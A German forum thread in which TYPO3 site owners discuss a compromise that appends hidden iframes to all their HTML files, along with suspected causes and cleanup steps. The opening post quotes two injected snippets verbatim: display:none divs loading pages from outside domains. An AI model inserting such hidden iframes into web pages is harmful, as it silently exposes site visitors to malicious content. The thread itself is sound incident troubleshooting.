Hallo,
seit ein paar Tagen werden in meiner Typo3-Installation HTML-Dateien verändert.
Und zwar in der Form, dass am Ende der Dateien HTML-Codes wie z. B.
<div style="display:none"><iframe src="http://newlibrary.cz.cc/js/"></iframe></div>
oder
<div style="display:none"><iframe src="http://jquery4html.co.cc/rsslist/"></iframe></div>
angehängt werden.
Meine Typo4-Version ist 4.4.7.
Das gleiche passiert bei der Typo3-Installation eines Freundes mit der Version 4.5.2.
Bei Google habe ich noch nicht soviel darüber gefunden. In einem Forum schreibt jemand, dass er dieses Problem in seiner XT-Commerce-Installation hat.
Ich hatte Ordner- und Dateirechte anders gesetzt, Typo3 neu installiert. Leider ohne Erfolg.
Ist hier bei jemandem auch dieses Problem aufgetreten?
Kennt jemand eine Lösung?
Gruß,
Floater
Hallo,
ich kann jedem nur dringend ein Update auf Typo3 4.5.2 empfehlen.
Nach dem Update ist die Code-Injection nicht mehr aufgetreten.
Gruß,
Floater
Aber Du hattest doch geschrieben, dass das Problem bei einem Freund auch unter 4.5.2 auftrat.
igorshmigor schrieb
Aber Du hattest doch geschrieben, dass das Problem bei einem Freund auch unter 4.5.2 auftrat.
Hallo,
dass das Problem bei einem Freund unter 4.5.2 auftrat, lag wohl eher daran, dass die Code-Injection schon unter einer älteren Version von 4.4.* aufgetreten sein muss und somit die HTML-Dateien unter 4.5.2 noch infiziert waren. Nachdem er unter die 4.5.2 die Coder-Bereinigung durchgeführt hat, trat das Problem nicht mehr auf.
Gruß,
Floater
Heißt das, dem Hacker ist es gelungen, die original HTML-Template Dateien zu modifizieren?
igorshmigor schrieb
Heißt das, dem Hacker ist es gelungen, die original HTML-Template Dateien zu modifizieren?
Hallo,
genau DAS heißt es.
Davon waren ALLE HTML-Dateien betroffen, die in der Installation existierten, also z.B. in den Ordnern und Unterordnern von "fileadmin", "typo3conf"...
Gruß,
Floater
Ich hatte dann das Update auf 4.5.2 gemacht, alle Extensions neu installiert und dann meine html-Templates korrigiert.
So eben habe ich auch in meiner Typo3-Version 4.5.2 in allen html-Dateien die o. g. Code-Injection vorgefunden.... :-(
Das wundert mich nicht. Wenn der Angreifer Dokumente modifizieren kann, hat er möglicherweise FTP-Zugriff, kennt das Install-Tool oder Admin-Passwort oder kann per Shell auf die Dokumente zugreifen.
Ist Dein Freund auf dem gleichen Server oder beim selben Provider? Möglicherweise ist der Server unsicher.
Ich würde übrigens zur Sicherheit alle Passwörter ändern: FTP, Admin, Install-Tool, Datenbank-User.
hallo,
da gebe ich dir irgendwie recht.
nur habe ich während des befalls immer wieder alle zugangsdaten geändert (DB, Instant Tool, Typo3-BE, FTP).
:-(
Gruß,
Floater
Floater schrieb
da gebe ich dir irgendwie recht.
nur habe ich während des befalls immer wieder alle zugangsdaten geändert (DB, Instant Tool, Typo3-BE, FTP).
Hast du deinen lokalen Rechner, von dem aus du FTP-Zugangsdaten usw. geändert hast, auf Schädlingsbefall untersucht?
Könnte ja sein, daß ein Trojaner auf deinem Rechner alle Änderungen direkt an seinen Auftraggeber mitteilt.
So etwas ist beispielsweise Anfang letzten Jahres gehäuft vorgekommen, wenn man die Zugangsdaten innerhalb des FTP-Programmes (WinFTP?) abgespeichert hatte, daß ist ja soo bequem...
Hallo,
ich habe meinen PC überprüft. Da wurde nichts gefunden.
Aber folgendes war mir aufgefallen: In meinem Browser war die "DVDVideoSoft"-Toolbar installiert. Irgendwo habe ich schon mal gelesen, dass diese Toolbar schädlich sein soll. /Nur Frage ich mich dann, warum die nicht bei meinem Suchlauf erkannt worden ist...)
Diese habe ich sofort deinstalliert.
Anschliessend die infizierten Dateien bereinigt und alle Passwörter geändert.
Ich hatte auch meine Typo3-Passwörter im Browser gespeichert. Die habe ich dort entfernt.
Bisher - seit drei Tagen - hat keine Code-Injection mehr statt gefunden.
Gruß
Hallo,
in meiner Typo3-Installation hatte ich auch einen Wordpress-Blog installiert.
Nachdem ich den Wordpress-Blog vor ca. 2 Wochen entfernt habe, sind keine Dateien mehr infiziert worden.
Gruß,
Floater